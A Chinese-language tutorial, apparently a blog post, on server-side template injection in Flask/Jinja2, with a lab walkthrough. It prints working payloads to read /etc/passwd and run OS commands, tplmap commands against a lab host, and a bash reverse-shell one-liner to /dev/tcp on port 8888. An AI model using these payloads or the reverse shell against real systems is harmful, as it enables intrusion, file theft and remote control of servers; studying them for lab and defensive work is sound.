SSTI(服务器端模板注入)

SSTI(服务器端模板注入)


0x01 简介

模板引擎允许开发人员使用带有动态元素的静态HTML页面。例如,静态配置文件.html一个模板引擎将允许开发人员设置一个用户名参数,该参数将始终设置为当前用户的用户名
服务器端模板注入是指用户能够传入一个参数,该参数可以控制服务器上运行的模板引擎。
例如:
  
这引入了一个漏洞,因为它允许黑客将模板代码注入网站。从XSS一直到RCE,其影响可能是毁灭性的。
注意:不同的模板引擎具有不同的注入有效负载,但是通常您可以使用{{2+2}}作为测试来测试SSTI。
 

0x02 文件读取

以python的flask模板引擎为例
文件读取:{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]()(/etc/passwd).read()}}
 

0x03 RCE

执行命令:{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}}
{{config.__class__.__init__.__globals__['os'].popen(id).read()}}

0x04 Payload

SSTI各种payload参考
 

0x05 Tools-tplmap

注意:使用python2安装要求。python2 -m pip
 
根据请求方式不同,语法也有所不同
GET    tplmap -u <URL> /?<vulnparam>
POST    tplmap -u <URL> -d'<vulnparam>'
 
 

0x06 练习

0x01 验证漏洞

探测输入点是否存在SSTI
 
0x02 利用
使用tplmap对漏洞进行利用
python2 tplmap.py -u http://10.10.20.97 -d 'name' 
 
执行命令
python2 tplmap.py -u http://10.10.20.97 -d 'name' --os-cmd "id"
 
0x03 GetShell
反弹Shell
python2 tplmap.py -u http://10.10.20.97 -d 'name' --os-cmd "bash -c 'bash -i >&/dev/tcp/10.10.224.107/8888 0>&1'"
 
 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值